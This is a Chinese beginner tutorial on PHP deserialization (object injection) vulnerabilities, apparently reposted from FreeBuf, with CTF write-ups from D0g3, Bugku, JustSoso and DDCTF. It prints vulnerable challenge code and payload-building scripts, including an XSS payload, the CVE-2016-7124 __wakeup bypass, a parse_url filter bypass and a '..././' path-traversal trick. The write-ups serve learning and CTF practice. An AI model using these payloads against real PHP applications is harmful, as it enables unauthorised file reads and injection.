内容简介:最近才开始学习安全,虽然练习过南邮CTF和Bugku的CTF,但是打各种线上CTF经常不尽人意,因为最近的比赛都有着一个新手入门CTF不常遇到的考点—————反序列化。看了很多师傅们,各种前辈们的文章,于是想着总结一下已经学到的东西在我当时PHP基本功不怎么扎实的时候,看反序列化就是一脸懵逼,所以我认为在接触反序列化漏洞之前
前言
最近才开始学习安全,虽然练习过南邮CTF和Bugku的CTF,但是打各种线上CTF经常不尽人意,因为最近的比赛都有着一个新手入门CTF不常遇到的考点—————反序列化。
看了很多师傅们,各种前辈们的文章,于是想着总结一下已经学到的东西
在我当时 PHP 基本功不怎么扎实的时候,看反序列化就是一脸懵逼,所以我认为在接触反序列化漏洞之前 需要掌握以下内容
1. PHP面向对象
2. PHP中的魔术方法
看了上面的文章应该就会了类与对象,一些魔术方法(比较重要的有 __wakeup()
, __construct()
, __destruct()
, __toString()
序列化与反序列化
为什么要进行序列化与反序列化?
起初也是很不理解为什么要费劲周章的去序列化然后反序列化回来,还多了一步操作,看了各种文章,举了各种栗子,无非都是想告诉我们: 序列化的目的是方便数据的传输和存储
再附上网上看到的一段话
PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 啦
什么是序列化和反序列化?
序列化
关键函数 serialize()
:将PHP中创建的对象,变成一个字符串
<?php class test{ public $name = 'P2hm1n'; private $sex = 'secret'; protected $age = '20'; } $test1 = new test(); $object = serialize($test1); print_r($object); ?>
经过查阅资料我们发现
private属性序列化的时候格式是 %00类名%00成员名
protected属性序列化的时候格式是 %00*%00成员名
反序列化
关键函数 unserialize()
:将经过序列化的字符串转换回PHP值
<?php $object = '经过序列化的字符串'; $test = unserialize($object1); print_r($test3); ?>
注意:当有 protected 和 private 属性的时候记得补齐空的字符串
为什么会产生反序列化漏洞?
PHP反序列化漏洞又称PHP对象注入,是因为程序对输入数据处理不当导致的
需要具备反序列化漏洞的前提:
必须有 unserailize() 函数
unserailize() 函数的参数必须可控(为了成功达到控制你输入的参数所实现的功能,可能需要绕过一些魔法函数
下面写一个小栗子
<?php class test{ public $target = 'this is a test'; function __destruct(){ echo $this->target; } } $a = $_GET['b']; $c = unserialize($a); ?>
上面的栗子就具备了利用反序列化漏洞的前提,因为存在 echo
的原因,我们还可以直接利用xss
<?php class test{ public $target = '<script>alert(/xss/);</script>'; } $a = new test(); $a = serialize($a); echo $a; ?>
很简单的栗子
D0g3平台
一道实验室师傅们出的题:
题目直接给了源码
<?php error_reporting(0); include "flag.php"; $KEY = "D0g3!!!"; $str = $_GET['str']; if (unserialize($str) === "$KEY") { echo "$flag"; } show_source(__FILE__);
我们可以看到判断条件 unserialize($str) === "$KEY"
就会输出flag,且具备了反序列化漏洞的一条:有 unserialize()
函数,那么寻找str参数是否可控,向上寻找发现 $str = $_GET['str'];
,通过 GET 型传参,参数可控。这里也就具备了反序列化的两个条件,所以我们直接构造
<?php $KEY = "D0g3!!!"; echo serialize($KEY) ?>
Bugku-welcome to the bugkuctf
在经历了前面的php伪协议的考点之后,经过base64解码拿到了两个源码
index.php
<?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?>
hint.php
<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("good"); } } } ?>
观察到危险函数 unserialize()
,跟进一下 hint.php 里有有一个 file_get_contents()
函数,可以读取到文件,那么我们只需要观察file是否可控便可轻松解题
因此我们只需要控制 $this->file
就能读到我们想要的文件
<?php class Flag{//flag.php public $file = 'flag.php'; } $a = new Flag(); $a = serialize($a); echo $a; ?>
当然这道题不只考了反序列化,还需要一些其他操作才能拿到flag
上面的简单栗子都是直接可以通过序列化生成相应的payload然后再反序列化之后实现功能,但是通常不会这么简单的就让你利用成功,所以需要掌握下面的一些东西
一些魔术方法
在绕过魔术方法之前我们需要了解一些魔术方法的运行机制———— PHP之十六个魔术方法详解
需要了解一下相对于来说重要函数的运行先后顺序
<?php class test{ public $name = 'P2hm1n'; function __construct(){ echo "__construct()"; echo "<br><br>"; } function __destruct(){ echo "__destruct()"; echo "<br><br>"; } function __wakeup(){ echo "__wakeup()"; echo "<br><br>"; } function __toString(){ return "__toString()"."<br><br>"; } function __sleep(){ echo "__sleep()"; echo "<br><br>"; return array("name"); } } $test1 = new test(); $test2 = serialize($test1); $test3 = unserialize($test2); print($test3); ?>
可以绕过的__weakup()
实际上是一个CVE漏洞, CVE-2016-7124 。当成员属性数目 大于 实际数目时会跳过__wakeup的执行。
网上已经有很多讲解了…比如网上的一篇文章 https://blog.csdn.net/qq_19876131/article/details/52890854 就写的比较清楚,我们只需要知道成员数目 大于 实际数目这个利用的点就行了
盘点近期两道有关反序列化题
第12届全国大学生信息安全竞赛-JustSoso
PHP伪协议+base64解码得到两个文件
index.php
<html> <?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){ echo 'Missing parameter'.'<br>'; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?> <!--Please test index.php?file=xxx.php --> <!--Please get the source of hint.php--> <html>
hint.php
<?php class Handle{ private $handle; //__destruct中被调用从而调用getFlag() public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { //循环打印,赋值为空 $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); //调用 Flag 类里面的getFlag方法 } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); //一到一万产生的随机数经过md5加密 } public function getFlag(){ //被handle调用 $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) //两者必须相等 { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } $echof = new Flag(); $Flag->file = "flag.php"; $echoflag = new Handle($echof); echo serialize($echoflag); ?>
在粗略的看了一下两个文件之后,可能会有点乱(当时的我头脑是很乱的),但是我们只需要明确我们打CTF的目的就是拿到flag…
梳理一下思路如下
index.php文件干了什么事?
GET型传入两个参数 (那么传入的两个参数一定是有用的,通常出题人不会闲得蛋疼多设置几个没用的参数
file不能包含flag关键字
如果设置了payload的话,url被切割,且循环遍历匹配flag关键字,匹配到了就退出
payload被unserialize()了~payload被unserialize()了~payload被unserialize()了~
hint.php文件干了什么事?
既然都叫hint.php了那么hint.php一定大有作为…
纵观 hint.php 包含两个类
其中的一个类叫 Flag,甚至类里有个方法叫getFlag(),所以我们明确我们的目标就是它
打CTF一定要知道自己在干什么,所以先不管其他的,我们只谈反序列化,然后构造payload这个参数
所以在抛弃一切前提下,我们甚至可以构造payload出来
<?php //假装有两个class class{ } class{ } $echof = new Flag(); $Flag->file = "flag.php"; $echoflag = new Handle($echof); echo serialize($echoflag); ?>
现在的我们已经能够输出flag了,我们看一下还存在哪些障碍?
输出flag的前提
echo @highlight_file($this->file,true);
前有一个判断: $this->token === $this->token_flag
而 $this->token
的值是不会变的,但是 $this->token_flag
却会改变
这里有两种思路,其一是爆破,其二是用引用变量来解决这个问题 $Flag->token = &$Flag->token_flag;
__wakeup()每次打印为空?
重点到了,利用本文前面的 CVE-2016-7124 。当成员属性数目 大于 实际数目时会跳过__wakeup的执行。这样能让 Handle类成功调用 Flag类中的方法
我们的关键词不能有flag?
经过反序列化也罢,我们的关键词始终会含有flag词语,会被正则匹配到…
这里可以使用parse_url的解析漏洞,具体的可以看看 一叶飘零师傅的文章 和 另一位师傅的文章
大概是parse_url() 是专门用来解析 URL 而不是 URI 的。不过为遵从 PHP 向后兼容的需要有个例外,对 file:// 协议允许三个斜线(file:///…)。其它任何协议都不能这样。
所以使用三个斜线的话就不会被检测到关键词
其实其他考点都是可以绕过的,最主要的反序列化思想的核心,我认为经过反序列化,有了可以控制的参数之后,就一定要完成某部分的功能,不是为了反序列化而反序列化
DDCTF-Web签到题
题目地址: http://117.51.158.44/index.php
经过信息泄露,抓包等会拿到两个源码…
文件1:Application.php
代码太长了,简化一下有用的功能如下:
Class Application { var $path = ''; private function sanitizepath($path) { $path = trim($path); $path=str_replace('../','',$path); $path=str_replace('..\\','',$path); return $path; } public function __destruct() { if(empty($this->path)) { exit(); }else{ $path = $this->sanitizepath($this->path); if(strlen($path) !== 18) { exit(); } $this->response($data=file_get_contents($path),'Congratulations'); } exit(); } }
文件一大概是对 $path
变量做了一些处理;如:前后去空,并且移除了 ../
和 ..\
如果长度小于18的话能够读取 $path
变量的文件的内容,能够读取 $path
变量的文件的内容,能够读取 $path
变量的文件的内容
因此我们构造初步的payload (其实结合了一些文件2的信息才能构造路径)为: ../config/flag.txt
,但是此时需要绕过文件一中的一个 str_replace()
函数,且长度要小于18,故而再次构造为 ..././config/flag.txt
(需要注意的是此刻的长度虽然是21,但是经过一次前面的 str_replace()
替换 ../
为空之后,长度就刚好为18
文件2:app/Session.php
//url:app/Session.php include 'Application.php'; //包含文件一 class Session extends Application { //key建议为8位字符串 var $eancrykey = ''; var $cookie_expiration = 7200; var $cookie_name = 'ddctf_id'; var $cookie_path = ''; var $cookie_domain = ''; var $cookie_secure = FALSE; var $activity = "DiDiCTF"; public function index() { if(parent::auth()) { //通过parent::调用父类方法 $this->get_key(); if($this->session_read()) { $data = 'DiDI Welcome you %s'; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']); parent::response($data,'sucess'); }else{ $this->session_create(); $data = 'DiDI Welcome you'; parent::response($data,'sucess'); } } } private function get_key() { //eancrykey and flag under the folder $this->eancrykey = file_get_contents('../config/key.txt'); //flag可能也在这个文件夹里面 } public function session_read() { if(empty($_COOKIE)) { return FALSE; } $session = $_COOKIE[$this->cookie_name]; if(!isset($session)) { parent::response("session not found",'error'); return FALSE; } $hash = substr($session,strlen($session)-32); $session = substr($session,0,strlen($session)-32); if($hash !== md5($this->eancrykey.$session)) { parent::response("the cookie data not match",'error'); //通过parent::调用父类方法 return FALSE; } $session = unserialize($session); //反序列化 if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){ return FALSE; } if(!empty($_POST["nickname"])) { //POST的不为空 $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { //打印变量 $data = sprintf($data,$v); //输出 } parent::response($data,"Welcome"); } if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) { parent::response('the ip addree not match'.'error'); return FALSE; } if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { parent::response('the user agent not match','error'); return FALSE; } return TRUE; } private function session_create() { $sessionid = ''; while(strlen($sessionid) < 32) { $sessionid .= mt_rand(0,mt_getrandmax()); } $userdata = array( 'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '', ); $cookiedata = serialize($userdata); //序列化 $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata); $expire = $this->cookie_expiration + time(); setcookie( $this->cookie_name, $cookiedata, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure ); } } $ddctf = new Session(); $ddctf->index(); ?>
我们回顾一下反序列化执行的方法:
必须有 unserailize() 函数,
unserailize() 函数的参数必须可控
首先映入眼帘的是文件二中第55行的 $session = unserialize($session);
这一步执行了危险函数 unserialize()
文件一被包含进文件二,因此可以利用文件一中 __destruct()
来执行文件读取的功能。
结合有用的信息,就是通过 session 的反序列化来控制 $path
变量进而得到 flag,第34行的注释 //eancrykey and flag under the folder
提供了相应的位置
因此我们通过控制 $path
变量可以获取到flag,控制 $path
需要通过反序列化。
但是这道题还有其他的考点,因为需要伪造一个cookie才能拿到相应的 key 才能进行反序列化。
因为单谈反序列化,所以我们简化一下本题。构造最终payload为
<?php Class Application { var $path = '..././config/flag.txt'; } $a = new Application(); $a = serialize($a); print_r($a); ?>
想看完整wp的可以移步 DDCTF2019官方Write Up
反序列化还有什么?
下面两个因为也只是略懂,还没有深入研究,所以就不继续写了,附上两篇当初学习的文章
phar 拓展 php 反序列化漏洞攻击面: https://paper.seebug.org/680/
本文参考自:
*本文作者:P2hm1n,转载请注明来自FreeBuf.COM
以上所述就是小编给大家介绍的《入门Web需要了解的PHP反序列化漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
恰如其分的软件架构
George Fairbanks / 张逸、倪健、高翌翔 / 华中科技大学出版社 / 2013-9-1 / 88.00
本书描述了一种恰如其分的软件架构设计方法。作者建议根据项目面临的风险来调整架构设计的成本,并从多个视角阐述了软件架构的建模过程和方法,包括用例模型、概念模型、域模型、设计模型和代码模型等。本书不仅介绍方法,而且还对方法和概念进行了归类和阐述,将软件架构设计融入开发实践中,与 敏捷开发方法有机地结合在一起,适合普通程序员阅读。 . 这是一本超值的书,案例丰富有趣,言简意赅,阅读轻松。当年......一起来看看 《恰如其分的软件架构》 这本书的介绍吧!